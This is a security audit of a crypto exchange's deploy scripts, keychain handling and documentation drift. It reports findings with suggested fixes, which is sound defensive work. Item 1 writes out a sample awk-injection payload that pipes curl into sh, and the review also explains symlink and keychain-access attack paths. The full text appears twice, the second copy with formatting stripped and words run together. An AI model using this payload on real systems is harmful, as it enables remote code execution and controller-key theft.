OhShii Labs review, 7/8: deploy pipeline, controller-key hygiene, and posture/documentation drift
Seventh of eight. Theme: the operational surface. SECURITY.md puts "issues requiring a malicious controller" out of scope — we agree with that scoping, and the items here are mostly about whether it holds. A scope boundary that assumes the controller key is hard to obtain is only as good as the key handling around it.
Nothing here is exploitable by a remote attacker against the live deployment. Items 1 and 3 need local access to the operator's machine; the rest are readiness and drift.
1. awk program-text injection from a fixed-name /tmp file, on the mainnet deploy path
Where: scripts/deploy.sh:153-159
seed_px() {
local base="${1%-ICPUSD}" fallback="$2" p=""
[ -f /tmp/uplands-oracle-prices.txt ] && \
p=$(awk -v a="$base" '$1==a{print $2; exit}' /tmp/uplands-oracle-prices.txt) # correct: -v binding
[ -z "$p" ] && p="$fallback"
awk "BEGIN{printf \"%.4f\", $p}" # program-text interpolation
}
Field 2 of an attacker-plantable file is interpolated into the awk program text on line 158, while the line directly above binds correctly with -v. awk provides system(). macOS /tmp is mode 1777. deploy.sh:190 rm -fs the file first, which does not close the race — it is recreated during the history step and read afterwards.
A whitespace-free payload such as BTC 0);system("curl -s http://…|sh");(0 executes as the operator when they run ./scripts/deploy.sh subnet or cloud. That shell holds the mainnet controller identity, and on the cloud path deploy.sh:873 has already made it the machine-wide default (icp identity default "$CE_IDENTITY"), so the payload needs no credentials of its own.
Since requireController is the only admin gate in the backend, this reaches: setTestBalance, seedInsuranceFund, injectHistoricalTrades, setTestEmailBinding, and resetExchange → performWorldWipe, which stops and deletes every archive canister (main.mo:14171-14186) — the hash-chained ledger of record. Plus arbitrary wasm upgrade.
Suggested direction. awk -v p="$p" 'BEGIN{printf "%.4f", p+0}', and validate p against ^[0-9]+(\.[0-9]+)?$ first.
Related: there are twelve fixed-name /tmp write targets across the deploy scripts (deploy.sh:190,245-246; play_start.sh:100,185,233-234,331; cold_start.sh:190,359; seed.sh:237,429; inject_history.sh:72,191). A pre-planted symlink at a .new path gives arbitrary file overwrite as the operator — the .new + mv idiom does not help, because the vulnerable step is the redirect onto .new. mktemp appears exactly once in the repo (lint-ratchet.sh:107) and never in a deploy script; relocating these under "$MDX_ROOT/.run/" or a per-run mktemp -d with a cleanup trap would close the class.
2. cold_start.sh retains the pattern-kill the repo documents as having killed the live fleet twice
Where: scripts/cold_start.sh:345-348, :62
pkill -f "simulate_trading.sh" 2>/dev/null || true
sleep 1
pkill -KILL -f "simulate_trading.sh" 2>/dev/null || true
scripts/lib/targets.sh:9-20 and scripts/stop_local_bots.sh:7 document this exact pattern as the cause of the live multidex.ai fleet being killed on 2026-07-23 and 2026-07-28, and the whole PID-file architecture (targets.sh:158-185) exists to replace it. play_start.sh:325-326 was migrated; cold_start.sh was not. So a local cold_start.sh run SIGKILLs any simulate_trading.sh on the machine, including one driving mainnet.
Separately, cold_start.sh:62 is set -o pipefail only — no -e, no -u — in the longest script on the deploy path, one that performs deploys (:229-230 promotes a controller) and injects API keys (:272, :281). Every failure is caught only by the if ! blocks the author remembered, and an unset-variable typo silently expands to empty.
Suggested direction. Replace both pkill -f lines with mdx_bots_stop "local" from scripts/lib/bots.sh; add set -euo pipefail after auditing the || true sites.
3. A helper script pre-authorises any unsigned binary to read every icp-cli private key without a prompt
Where: scripts/fix_icp_keychain_prompts.sh:24, 49-53; scripts/deploy.sh:873; scripts/sim_trading.sh:163-165 + ops/ai.multidex.bots.plist.template:32-50
read -s -p "macOS login password (will not echo): " PASS # :24
...
if security set-generic-password-partition-list \
-S 'apple-tool:,apple:,unsigned:' \ # any unsigned binary, no prompt
-k "$PASS" \ # password on argv, visible in ps
-s 'icp-cli' -a "$acct" >/dev/null 2>&1; then
Four compounding issues on the machine holding the only admin credential for the live exchange:
unsigned: in the partition list means any unsigned binary can read those items without a prompt. The script frames this as ergonomics ("Keys remain encrypted in keychain; only the per-item access policy changes") — but the access policy is the control, and it is applied to every icp-cli identity including the mainnet controller.
-k "$PASS" places the operator's macOS login password on the argv of security, readable via ps by any same-uid process, across 200+ iterations.
deploy.sh:873 leaves the mainnet controller as the machine-wide default identity and never restores it, so any later icp command omitting --identity runs as the controller.
ops/ai.multidex.bots.plist.template runs the fleet under launchd with KeepAlive, and sim_trading.sh:164-165 uses CE_IDENTITY (the controller) for setTestBalance refills — a permanently-resident, auto-restarting process exercising the controller key against the live venue every ~60 s.
Suggested direction. Do not apply this script to controller identities — scope it to test identities, or drop unsigned: and accept the prompt; use security -i rather than -k "$PASS"; restore the previous default identity after deploy.sh:873; and give the bot fleet a dedicated non-controller funding identity (the code already supports BOT_IDENTITY).
Minor, same area: AI provider keys are passed as process arguments (deploy.sh:527,540; cold_start.sh:272,281; play_start.sh:142,152), so they appear in ps. set_ai_key.sh:11-13 advertises --key-file as "never lands in shell history" — true for history, not for ps. Everything else about the handling is correct: read env-first then from git-ignored dotfiles, never echoed (only ${#KEY}), never logged, and no script anywhere sets set -x. Also worth flagging: the Gemini branch puts the key in the request URL (main.mo:12241-12242) while the Anthropic branch correctly uses a header (:12271). No caller-reachable leak exists today — we checked every error return in aiComplete — but it is a standing hazard the moment any change includes the request URL in an error string.
4. No build verification, no module-hash check, no reproducible build, and npm install rather than npm ci
Where: icp.yaml:90-93; the whole scripts/ tree; package.json:10-19
configuration:
dir: dist
build:
- npm install
- npm run build
We checked each of these rather than assuming:
- No frontend build verification of any kind — no
index.html presence check, no file count, no size check, no post-deploy fetch of the served asset. The string dist appears in no shell script.
- No wasm or module-hash check before or after deploy.
icp canister status is called eight times across deploy.sh/cold_start.sh/play_start.sh and every call parses only the canister ID. The only sha256 in the repo is the ledger hash chain and pool-principal derivation.
- No reproducible build, despite
docs/bridge-and-cks-design.md:129 making it a stated prerequisite ("the build reproducible so voters can verify the wasm matches the source") and :164 listing it as step 5 of the NNS handover.
npm install silently rewrites the lockfile when it drifts from package.json's caret ranges and does not clean node_modules first, so the committed lockfile is not enforced at build time. The lockfile itself is sound — v3, integrity + resolved on all 81 entries, no non-registry URLs — and mops.lock is stronger still, with per-file SHA-256 plus mopsTomlDepsHash.
So nothing links the deployed wasm and assets to a reviewable source revision, and the CDN dependency in issue 1/8 lands in the certified asset canister through this same unverified path.
Suggested direction. npm install → npm ci; record icp canister status … | module hash before and after each remote deploy and print the delta; publish expected module hashes per release tag. This is a readiness gap on #play and a hard blocker for the documented NNS handover.
5. The -e ic route bypasses the environment allowlist and still resolves to the live subnet canisters
Where: scripts/deploy.sh:38, 85, 738, 756; icp.yaml:121-127; .icp/data/mappings/ic.ids.json
icp.yaml:115-120 states the intent — "the old shared ic mapping made that a one-file-swap accident… Both list ONLY the value-bearing canisters — the xrc/fuel mocks are dev-only and must never reach mainnet." The split was done for engine and subnet, but the legacy ic mapping is still committed and still pins the live canisters:
{ "backend": "hmxr2-pqaaa-aaabq-qaaaa-cai", "bridge": "hlwxo-ciaaa-aaabq-qaaaq-cai",
"frontend": "hcv4s-uaaaa-aaabq-qaaba-cai" }
CE_ENV still defaults to "ic" (:85), deploy.sh:738 explicitly special-cases -e ic, the header at :38 documents ./scripts/deploy.sh -e ic --subnet <id> as a supported invocation, and docs/deploy-to-subnet.md §3 uses -e ic throughout. Because ic is never declared in environments:, it inherits no canister allowlist. The strings xrc-mock/fuel-mock do not appear in deploy.sh at all — the "never deploy the mocks" rule is convention plus one allowlist that this route bypasses.
xrc-mock's setRate has no (msg) binding at all, so it is writable by anyone. Mitigated today because the posture gate (:441-462) does apply to TARGET=plain and setXrcCanister is left unwired on #play.
Suggested direction. Delete .icp/data/mappings/ic.ids.json; declare an explicit ic environment with canisters: [backend, bridge, frontend, arb]; refuse a bare -e ic passthrough without a canister name; update docs/deploy-to-subnet.md to -e subnet.
Adjacent, and probably a live bug: scripts/deploy_to_engine.sh:16 execs deploy.sh "engine", but deploy.sh:387's case arm is local|cloud|subnet. engine falls through to PASS+=, TARGET becomes "plain" (:411-413), and :756 runs exec icp deploy engine — skipping apply_anti_sybil_settings (:596) and apply_memory_settings (:578). The two wrapper guards pass first, so the operator sees green output before the broken deploy. If a variant ever did succeed, skipping apply_anti_sybil_settings re-stamps icp.yaml's local-dev frontend_origins onto the live backend — the exact failure deploy.sh:553 records as having "bit multidex.ai on 2026-07-11". The vocabulary is inconsistent by accident: scripts/lib/targets.sh:31 says local|engine|subnet.
6. Posture and documentation drift
setTestEmailBinding is gated on IS_PRODUCTION instead of IS_DEV, so it is live on #play. main.mo:5591-5601. Every sibling in the family is #dev-gated precisely because of the operator-fairness rule at :76-80 — setTestScorecard (:5021), setAmmRefPrice (:11842), debugInspectByUsername (:10163). This is the only member gated on IS_PRODUCTION, and it is absent from the kill matrix. Since bindVerifiedEmail accepts any well-formed string with no Google round-trip, it mints anti-Sybil identities — and, because binding is first-come with no rebind path (:5511), setTestEmailBinding(<victim>, "attacker@x.com") permanently blocks that victim's real verification (:5531). requireDevHook("setTestEmailBinding") is the one-line fix.
injectHistoricalTrades has no posture gate at all (:14308), under a header comment (:14293-14298) calling these helpers "wrong for anything on a live mainnet canister". We traced all five readers of marketStats: it reaches display and analytics only — lastPrice, candles, 24 h volume, the OQL market row — and cannot touch refPrice, so it is chart forgery, not value manipulation. It still contradicts the #play invariant that the operator must not move prices.
The kill matrix in docs/deployment-modes.md is stale in three ways. It presents claimPlayFunds as the #play on-ramp with a dedicated semantics section, and docs/pre-mainnet-checklist.md lists claimPlayFunds() → #err(…) as a required production verification step — but the method is retired (main.mo:5326: "claimPlayFunds — is RETIRED"), grep finds it in neither main.mo nor candid/backend.did, PLAY_BASKET is gone, and tests/test_play_claim.sh — cited by both docs as the lock-in test — does not exist. So steps 4 and 5 of the posture smoke are unrunnable as written. The real mechanism is now the PLAY_DEPOSIT_CAP_USD reservation flow.
The matrix also omits six controller capabilities that are live on #play: setTestEmailBinding, seedInsuranceFund, injectHistoricalTrades, resetSeason, withdraw, adminSpawnCanister.
docs/bridge-and-cks-design.md §11 describes NNS sole-controllership in the present tense — "The DEX, Bridge, and Archive canisters have the NNS as their sole controller. There is no administrator principal that can upgrade or drain them" — while docs/deploy-to-subnet.md §2 correctly states the live posture is a single operator principal. We looked for a governance gate and found none; the only reference to a DAO/L2 governance canister in the backend is an aspirational comment at main.mo:11617. The README's "In production" phrasing is defensible; §11's present tense is not, and it is the doc a reader consults for the custody trust model. Combined with resetExchange → performWorldWipe deleting every archive and setBlackholeAtSeal defaulting to false, the honest statement is that on #play the ledger is tamper-evident but neither immutable nor authentic.
7. tests/MatchingEngine.test.mo does not compile
(Already reported by the Menese DeFi Team in #2. We reached it independently and confirm both the error and their root cause.)
$ moc 1.9.0 --check $(mops sources) tests/MatchingEngine.test.mo
tests/MatchingEngine.test.mo:161.112-175.2: type error [M0151], missing field 'beneficialOwner'
tests/MatchingEngine.test.mo:237.33-252.2: type error [M0151], missing field 'beneficialOwner'
tests/OrderBook.test.mo type-checks clean, so this is specific. tests/run_all.sh:104 runs mops test, so the file's assertions cannot be executing. What is no longer under test: the self-trade-prevention unit test (:216-223 — the only place totalFilled == 0 + trades.size() == 0 is asserted on a self-cross; the shell test's gone() helper cannot distinguish "cancelled by STP" from "filled by the self-cross"), symmetric maker/taker fee and Σ-QUOTE conservation (:187-208), the whole FOK battery (:80-147), the order-id-0 sentinel (:290-291, the only test of it in the repo), and the two-clocks contract (:317-318).
docs/security-review.md:133-134 records L1 as "✔ Fixed … structurally prevented". The engine code is correct today — we read MatchingEngine.mo:251-255 and :635-639 — but the fix is not under test, and neither is fee conservation on the settlement path. Menese's root cause is right: lint-ratchet.sh:58 globs src/backend only, so the pre-push gate never type-checks tests/ and reports green while the suite is red.
We otherwise found the lint gate to be a genuine hard-zero: M0155_BASELINE=0 with a -gt comparison, globbing the filesystem rather than git ls-files so untracked files are gated, plus moc --check errors, zero lintoko lints, and a didc subtype check of candid/backend.did against the merge-base. Its limitations are self-documented and it does not overclaim.
— Ravenith, OhShii Labs
OhShii Labs review, 7/8: deploy pipeline, controller-key hygiene, and posture/documentation drift
Seventh of eight. Theme: the operational surface.
SECURITY.mdputs "issues requiring a malicious controller" out of scope — we agree with that scoping, and the items here are mostly about whether it holds. A scope boundary that assumes the controller key is hard to obtain is only as good as the key handling around it.Nothing here is exploitable by a remote attacker against the live deployment. Items 1 and 3 need local access to the operator's machine; the rest are readiness and drift.
1.
awkprogram-text injection from a fixed-name/tmpfile, on the mainnet deploy pathWhere:
scripts/deploy.sh:153-159Field 2 of an attacker-plantable file is interpolated into the awk program text on line 158, while the line directly above binds correctly with
-v.awkprovidessystem(). macOS/tmpis mode1777.deploy.sh:190rm -fs the file first, which does not close the race — it is recreated during the history step and read afterwards.A whitespace-free payload such as
BTC 0);system("curl -s http://…|sh");(0executes as the operator when they run./scripts/deploy.sh subnetorcloud. That shell holds the mainnet controller identity, and on the cloud pathdeploy.sh:873has already made it the machine-wide default (icp identity default "$CE_IDENTITY"), so the payload needs no credentials of its own.Since
requireControlleris the only admin gate in the backend, this reaches:setTestBalance,seedInsuranceFund,injectHistoricalTrades,setTestEmailBinding, andresetExchange→performWorldWipe, which stops and deletes every archive canister (main.mo:14171-14186) — the hash-chained ledger of record. Plus arbitrary wasm upgrade.Suggested direction.
awk -v p="$p" 'BEGIN{printf "%.4f", p+0}', and validatepagainst^[0-9]+(\.[0-9]+)?$first.Related: there are twelve fixed-name
/tmpwrite targets across the deploy scripts (deploy.sh:190,245-246;play_start.sh:100,185,233-234,331;cold_start.sh:190,359;seed.sh:237,429;inject_history.sh:72,191). A pre-planted symlink at a.newpath gives arbitrary file overwrite as the operator — the.new+mvidiom does not help, because the vulnerable step is the redirect onto.new.mktempappears exactly once in the repo (lint-ratchet.sh:107) and never in a deploy script; relocating these under"$MDX_ROOT/.run/"or a per-runmktemp -dwith a cleanup trap would close the class.2.
cold_start.shretains the pattern-kill the repo documents as having killed the live fleet twiceWhere:
scripts/cold_start.sh:345-348,:62scripts/lib/targets.sh:9-20andscripts/stop_local_bots.sh:7document this exact pattern as the cause of the live multidex.ai fleet being killed on 2026-07-23 and 2026-07-28, and the whole PID-file architecture (targets.sh:158-185) exists to replace it.play_start.sh:325-326was migrated;cold_start.shwas not. So a localcold_start.shrun SIGKILLs anysimulate_trading.shon the machine, including one driving mainnet.Separately,
cold_start.sh:62isset -o pipefailonly — no-e, no-u— in the longest script on the deploy path, one that performs deploys (:229-230promotes a controller) and injects API keys (:272,:281). Every failure is caught only by theif !blocks the author remembered, and an unset-variable typo silently expands to empty.Suggested direction. Replace both
pkill -flines withmdx_bots_stop "local"fromscripts/lib/bots.sh; addset -euo pipefailafter auditing the|| truesites.3. A helper script pre-authorises any unsigned binary to read every icp-cli private key without a prompt
Where:
scripts/fix_icp_keychain_prompts.sh:24, 49-53;scripts/deploy.sh:873;scripts/sim_trading.sh:163-165+ops/ai.multidex.bots.plist.template:32-50Four compounding issues on the machine holding the only admin credential for the live exchange:
unsigned:in the partition list means any unsigned binary can read those items without a prompt. The script frames this as ergonomics ("Keys remain encrypted in keychain; only the per-item access policy changes") — but the access policy is the control, and it is applied to every icp-cli identity including the mainnet controller.-k "$PASS"places the operator's macOS login password on the argv ofsecurity, readable viapsby any same-uid process, across 200+ iterations.deploy.sh:873leaves the mainnet controller as the machine-wide default identity and never restores it, so any latericpcommand omitting--identityruns as the controller.ops/ai.multidex.bots.plist.templateruns the fleet under launchd withKeepAlive, andsim_trading.sh:164-165usesCE_IDENTITY(the controller) forsetTestBalancerefills — a permanently-resident, auto-restarting process exercising the controller key against the live venue every ~60 s.Suggested direction. Do not apply this script to controller identities — scope it to test identities, or drop
unsigned:and accept the prompt; usesecurity -irather than-k "$PASS"; restore the previous default identity afterdeploy.sh:873; and give the bot fleet a dedicated non-controller funding identity (the code already supportsBOT_IDENTITY).Minor, same area: AI provider keys are passed as process arguments (
deploy.sh:527,540;cold_start.sh:272,281;play_start.sh:142,152), so they appear inps.set_ai_key.sh:11-13advertises--key-fileas "never lands in shell history" — true for history, not forps. Everything else about the handling is correct: read env-first then from git-ignored dotfiles, never echoed (only${#KEY}), never logged, and no script anywhere setsset -x. Also worth flagging: the Gemini branch puts the key in the request URL (main.mo:12241-12242) while the Anthropic branch correctly uses a header (:12271). No caller-reachable leak exists today — we checked every error return inaiComplete— but it is a standing hazard the moment any change includes the request URL in an error string.4. No build verification, no module-hash check, no reproducible build, and
npm installrather thannpm ciWhere:
icp.yaml:90-93; the wholescripts/tree;package.json:10-19We checked each of these rather than assuming:
index.htmlpresence check, no file count, no size check, no post-deploy fetch of the served asset. The stringdistappears in no shell script.icp canister statusis called eight times acrossdeploy.sh/cold_start.sh/play_start.shand every call parses only the canister ID. The onlysha256in the repo is the ledger hash chain and pool-principal derivation.docs/bridge-and-cks-design.md:129making it a stated prerequisite ("the build reproducible so voters can verify the wasm matches the source") and:164listing it as step 5 of the NNS handover.npm installsilently rewrites the lockfile when it drifts frompackage.json's caret ranges and does not cleannode_modulesfirst, so the committed lockfile is not enforced at build time. The lockfile itself is sound — v3,integrity+resolvedon all 81 entries, no non-registry URLs — andmops.lockis stronger still, with per-file SHA-256 plusmopsTomlDepsHash.So nothing links the deployed wasm and assets to a reviewable source revision, and the CDN dependency in issue 1/8 lands in the certified asset canister through this same unverified path.
Suggested direction.
npm install→npm ci; recordicp canister status … | module hashbefore and after each remote deploy and print the delta; publish expected module hashes per release tag. This is a readiness gap on#playand a hard blocker for the documented NNS handover.5. The
-e icroute bypasses the environment allowlist and still resolves to the live subnet canistersWhere:
scripts/deploy.sh:38, 85, 738, 756;icp.yaml:121-127;.icp/data/mappings/ic.ids.jsonicp.yaml:115-120states the intent — "the old sharedicmapping made that a one-file-swap accident… Both list ONLY the value-bearing canisters — the xrc/fuel mocks are dev-only and must never reach mainnet." The split was done forengineandsubnet, but the legacyicmapping is still committed and still pins the live canisters:{ "backend": "hmxr2-pqaaa-aaabq-qaaaa-cai", "bridge": "hlwxo-ciaaa-aaabq-qaaaq-cai", "frontend": "hcv4s-uaaaa-aaabq-qaaba-cai" }CE_ENVstill defaults to"ic"(:85),deploy.sh:738explicitly special-cases-e ic, the header at:38documents./scripts/deploy.sh -e ic --subnet <id>as a supported invocation, anddocs/deploy-to-subnet.md§3 uses-e icthroughout. Becauseicis never declared inenvironments:, it inherits no canister allowlist. The stringsxrc-mock/fuel-mockdo not appear indeploy.shat all — the "never deploy the mocks" rule is convention plus one allowlist that this route bypasses.xrc-mock'ssetRatehas no(msg)binding at all, so it is writable by anyone. Mitigated today because the posture gate (:441-462) does apply toTARGET=plainandsetXrcCanisteris left unwired on#play.Suggested direction. Delete
.icp/data/mappings/ic.ids.json; declare an expliciticenvironment withcanisters: [backend, bridge, frontend, arb]; refuse a bare-e icpassthrough without a canister name; updatedocs/deploy-to-subnet.mdto-e subnet.Adjacent, and probably a live bug:
scripts/deploy_to_engine.sh:16execsdeploy.sh "engine", butdeploy.sh:387's case arm islocal|cloud|subnet.enginefalls through toPASS+=,TARGETbecomes"plain"(:411-413), and:756runsexec icp deploy engine— skippingapply_anti_sybil_settings(:596) andapply_memory_settings(:578). The two wrapper guards pass first, so the operator sees green output before the broken deploy. If a variant ever did succeed, skippingapply_anti_sybil_settingsre-stampsicp.yaml's local-devfrontend_originsonto the live backend — the exact failuredeploy.sh:553records as having "bit multidex.ai on 2026-07-11". The vocabulary is inconsistent by accident:scripts/lib/targets.sh:31sayslocal|engine|subnet.6. Posture and documentation drift
setTestEmailBindingis gated onIS_PRODUCTIONinstead ofIS_DEV, so it is live on#play.main.mo:5591-5601. Every sibling in the family is#dev-gated precisely because of the operator-fairness rule at:76-80—setTestScorecard(:5021),setAmmRefPrice(:11842),debugInspectByUsername(:10163). This is the only member gated onIS_PRODUCTION, and it is absent from the kill matrix. SincebindVerifiedEmailaccepts any well-formed string with no Google round-trip, it mints anti-Sybil identities — and, because binding is first-come with no rebind path (:5511),setTestEmailBinding(<victim>, "attacker@x.com")permanently blocks that victim's real verification (:5531).requireDevHook("setTestEmailBinding")is the one-line fix.injectHistoricalTradeshas no posture gate at all (:14308), under a header comment (:14293-14298) calling these helpers "wrong for anything on a live mainnet canister". We traced all five readers ofmarketStats: it reaches display and analytics only —lastPrice, candles, 24 h volume, the OQLmarketrow — and cannot touchrefPrice, so it is chart forgery, not value manipulation. It still contradicts the#playinvariant that the operator must not move prices.The kill matrix in
docs/deployment-modes.mdis stale in three ways. It presentsclaimPlayFundsas the#playon-ramp with a dedicated semantics section, anddocs/pre-mainnet-checklist.mdlistsclaimPlayFunds() → #err(…)as a required production verification step — but the method is retired (main.mo:5326: "claimPlayFunds — is RETIRED"),grepfinds it in neithermain.monorcandid/backend.did,PLAY_BASKETis gone, andtests/test_play_claim.sh— cited by both docs as the lock-in test — does not exist. So steps 4 and 5 of the posture smoke are unrunnable as written. The real mechanism is now thePLAY_DEPOSIT_CAP_USDreservation flow.The matrix also omits six controller capabilities that are live on
#play:setTestEmailBinding,seedInsuranceFund,injectHistoricalTrades,resetSeason,withdraw,adminSpawnCanister.docs/bridge-and-cks-design.md§11 describes NNS sole-controllership in the present tense — "The DEX, Bridge, and Archive canisters have the NNS as their sole controller. There is no administrator principal that can upgrade or drain them" — whiledocs/deploy-to-subnet.md§2 correctly states the live posture is a single operator principal. We looked for a governance gate and found none; the only reference to a DAO/L2 governance canister in the backend is an aspirational comment atmain.mo:11617. The README's "In production" phrasing is defensible; §11's present tense is not, and it is the doc a reader consults for the custody trust model. Combined withresetExchange→performWorldWipedeleting every archive andsetBlackholeAtSealdefaulting tofalse, the honest statement is that on#playthe ledger is tamper-evident but neither immutable nor authentic.7.
tests/MatchingEngine.test.modoes not compile(Already reported by the Menese DeFi Team in #2. We reached it independently and confirm both the error and their root cause.)
tests/OrderBook.test.motype-checks clean, so this is specific.tests/run_all.sh:104runsmops test, so the file's assertions cannot be executing. What is no longer under test: the self-trade-prevention unit test (:216-223— the only placetotalFilled == 0+trades.size() == 0is asserted on a self-cross; the shell test'sgone()helper cannot distinguish "cancelled by STP" from "filled by the self-cross"), symmetric maker/taker fee and Σ-QUOTE conservation (:187-208), the whole FOK battery (:80-147), the order-id-0 sentinel (:290-291, the only test of it in the repo), and the two-clocks contract (:317-318).docs/security-review.md:133-134records L1 as "✔ Fixed … structurally prevented". The engine code is correct today — we readMatchingEngine.mo:251-255and:635-639— but the fix is not under test, and neither is fee conservation on the settlement path. Menese's root cause is right:lint-ratchet.sh:58globssrc/backendonly, so the pre-push gate never type-checkstests/and reports green while the suite is red.We otherwise found the lint gate to be a genuine hard-zero:
M0155_BASELINE=0with a-gtcomparison, globbing the filesystem rather thangit ls-filesso untracked files are gated, plusmoc --checkerrors, zerolintokolints, and adidcsubtype check ofcandid/backend.didagainst the merge-base. Its limitations are self-documented and it does not overclaim.— Ravenith, OhShii Labs